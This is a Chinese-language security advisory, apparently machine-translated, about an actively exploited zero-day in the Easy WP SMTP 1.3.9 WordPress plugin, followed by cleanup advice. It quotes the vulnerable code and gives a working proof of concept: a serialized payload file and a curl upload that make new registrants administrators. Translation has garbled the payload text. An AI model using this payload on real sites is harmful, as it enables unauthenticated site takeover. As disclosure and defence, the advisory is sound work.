0°

WordPress Easy WP SMTP插件中存在严重的可利用漏洞-建议立即更新

如果您仍在运行1.3.9版,请尽快更新。如果您使用我们的Web应用程序防火墙用于WordPress,NinjaFirewall WP版(免费)和NinjaFirewall WP +版(高级版),则可以防止此漏洞。如果您使用的是Easy WP SMTP的易受攻击版本,则以下是一些其他建议(非详尽列表):

流行的Easy WP SMTP插件,作为300,000多个活动安装,容易出现关键的零日漏洞,允许未经身份验证的用户修改WordPress选项或在其他恶意操作中注入和执行代码。

该版本v1.3.9中的漏洞至少从3月15日开始被黑客利用,并被我们的Web应用程序防火墙用于WordPress,NinjaFirewall(WP版)。

代码提示:

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

当用户访问管理区域时admin_init()easy-wp-smtp.php脚本中的上述功能通过admin_init钩子运行。它用于查看/删除日志,导入/导出插件配置以及更新WordPress数据库中的选项。它不检查用户功能,因此任何登录用户(例如订户)都可以触发它。但它也可以由未经admin_init身份验证的用户执行,因为Easy WP SMTP使用AJAX,而钩子也运行在admin-ajax.php上,如WordPress API文档中所示:

请注意,这不仅适用于面向用户的管理屏幕。它也运行在admin-ajax.php和admin-post.php上。

因此,未经action=swpsmtp_clear_log身份验证的用户可以发送AJAX请求,例如,触发上述功能并执行其代码。

概念证明

在下面的概念证明中,我将使用swpsmtp_import_settings上传包含恶意序列化有效负载的文件,该文件将启用用户registration(users_can_register)并将用户默认角色(default_role)设置为数据库中的“administrator”。

1.创建文件名“/tmp/upload.txt”并将此内容添加到其中:

一:2:{S:4: “数据”; S:81: “A:2:{S:18:” users_can_register “; S:1:” 1 “; S:12:” default_role“; S:13 : “管理员”;} “; S:8:” 校验和 “S:32:” 3ce5fb6d7b1dbd6252f4b5b3526650c8" ;}

2.上传文件:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F'action = swpsmtp_clear_log'-F'swpsmtp_import_settings = 1'-F'swpsmtp_import_settings_file =@/tmp/upload.txt'

其他漏洞可能被利用,例如:

  • 通过PHP对象注入执行远程代码,因为Easy WP SMTP使用不安全的unserialize()调用。
  • 查看/删除日志(或任何文件,因为黑客可以更改日志文件名)。
  • 导出包含SMTP主机,用户名和密码的插件配置,并使用它来发送垃圾邮件。

有趣的是,我们的防火墙捕获的所有尝试都表明,黑客试图利用此漏洞来改变wp_user_roles数据库中WordPress 选项的内容,并为所有用户提供管理员功能。与创建可在WordPress“用户”部分轻松检测到的管理员帐户不同,更改功能几乎不可察觉,即简单订阅者将继续作为订阅者出现,但能够执行管理员可以执行的所有操作。

时间线

我们在3月15日报告了作者和wordpress.org团队的漏洞,并于3月17日发布了新版本1.3.9.1。

建议

如果您仍在运行1.3.9版,请尽快更新。

如果您使用我们的Web应用程序防火墙用于WordPress,NinjaFirewall WP版(免费)和NinjaFirewall WP +版(高级版),则可以防止此漏洞。

如果您使用的是Easy WP SMTP的易受攻击版本,则以下是一些其他建议(非详尽列表):

  • 检查您的WordPress“设置>常规”页面:确保没有任何内容被篡改(URL,电子邮件地址,成员身份和新用户默认角色)。
  • 检查您的WordPress“用户”页面:寻找新用户,奇怪的管理员帐户,查看管理员电子邮件地址等。
  • 更改所有密码。
  • 检查数据库中的WordPress wp_options*表“:确保包含用户角色和功能的wp_user_roles*未被篡改。
  • 扫描您的文件,黑客可能已经上传了后门。
  • 更改您的SMTP密码,黑客可能已经窃取了它。

*如果您更改了WordPress数据库前缀,请替换wp_为正确的前缀。

「点点赞赏,手留余香」

    还没有人赞赏,快来当第一个赞赏的人吧!
0 条回复 A 作者 M 管理员
    所有的伟大,都源于一个勇敢的开始!
欢迎您,新朋友,感谢参与互动!欢迎您 {{author}},您在本站有{{commentsCount}}条评论
在线图床 网址缩短 积分获取 积分素材
官方客服
  • 官方客服:205432983一键联系
  • 扫一扫加站长微信
    官方QQ群